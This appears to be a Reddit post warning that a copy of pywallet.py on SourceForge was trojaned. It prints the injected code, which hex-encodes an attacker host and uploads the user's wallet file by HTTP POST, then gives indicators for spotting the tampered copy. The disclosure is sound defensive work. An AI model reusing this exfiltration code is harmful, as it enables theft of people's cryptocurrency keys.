I noticed there was a size difference of pywallet.py on Git Hub compared to Source Forge. I decided to do a diff luckily and lines 2441 to 2476 are
hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d"
s = socket.socket()
s.connect((hs,80))
bo = "8954789827987580"
h11 = "-----------------------------"
h12 = "\r\n"
h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22"
h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n"
h1 = h11+bo+h12+h13+"fil"+h14
h20 = "\r\n-----------------------------"
h21 = "--\r\n"
h2 = h20+bo+h21
h31 = "POST "
h32 = " HTTP/1.1\r\n"
h33 = "Host: "
h34 = "\r\n"
h35 = "User-Agent: Mozilla/5.0\r\n"
h36 = "Connection: keep-alive\r\n"
h37 = "Content-Type: multipart/form-data; boundary=---------------------------"
h38 = "\r\n"
h39 = "Content-length: "
h40 = "\r\n\r\n"
flen = os.path.getsize(walletfile)
h3= h31+"/a.php"+h32+h33+hs+h34+h35+h36+h37+bo+h38+h39+str(len(h1)+flen+len(h2))+h40
s.send(h3)
s.send(h1)
file2= open(walletfile,"rb")
totalsent = 0
while totalsent < flen:
d = file2.read(1024)
se = s.send(d)
totalsent = totalsent + se
s.send(h2)
data=s.recv(100)
s.close()
Right when I saw the hex encoded string I knew there was trouble. This version of the script works exactly the same as the real pywallet.py except that it also sends the keys to bieber.atwebpages.com using an HTTP request.
The code has been up since November it seems. It doesn't look like they got a ton, but it comes up on the first page of results when searching for pywallet. I have already notified the hosting company and Source Forge. If you have a copy of pywallet, be sure that it is 5050 lines, not 5096 lines of code. Also, search it for "a.php", as that is the page it sends the keys too.
UPDATE: Well Source Forge still hasn't done shit about it, but the German hosting company (http://www.attractsoft.com/) was quick to respond and take the site down. Unfortunately, if Source Forge leaves the file up and the thief still has the domain name, they can just switch to another hosting service or even use Dynamic DNS is they live in a country that won't do shit about it.
[–]orbitalia [スコア非表示] (0子コメント)
[–]BitDeath [スコア非表示] (4子コメント)
[–]d3k4y[S] [スコア非表示] (3子コメント)
[–]selfservice0 [スコア非表示] (1子コメント)
[–]Togna-Bolognaredditor for 13 days [スコア非表示] (0子コメント)
[–]BitDeath [スコア非表示] (0子コメント)
[–]OptimisticOnanist [スコア非表示] (7子コメント)
[–]My-Fake-Life [スコア非表示] (1子コメント)
[–]OptimisticOnanist [スコア非表示] (0子コメント)
[–]redcodefinal [スコア非表示] (1子コメント)
[–]Dont_Think_So [スコア非表示] (0子コメント)
[–]waxwing [スコア非表示] (1子コメント)
[–]d3k4y[S] [スコア非表示] (0子コメント)
[–]d3k4y[S] [スコア非表示] (0子コメント)
[–]Tereshangredditor for 2 months [スコア非表示] (0子コメント)
[–]redcodefinal [スコア非表示] (3子コメント)
[–]Anduckk [スコア非表示] (1子コメント)
[–]redcodefinal [スコア非表示] (0子コメント)
[–]lordxi [スコア非表示] (0子コメント)
[–]snaxion [スコア非表示] (0子コメント)
[–]Freemanix [スコア非表示] (2子コメント)
[–]d3k4y[S] [スコア非表示] (1子コメント)
[–]Z4KJ0N3S [スコア非表示] (0子コメント)
[–]kickass_turing [スコア非表示] (0子コメント)
[–]kfull [スコア非表示] (0子コメント)
[–]Economist_hat [スコア非表示] (0子コメント)
[–]zeiandren [スコア非表示] (5子コメント)
[–]pointychimp [スコア非表示] (0子コメント)
[–]Robots_Never_Die [スコア非表示] (0子コメント)
[–]errydaymofo [スコア非表示] (1子コメント)
[–]Olathe [スコア非表示] (0子コメント)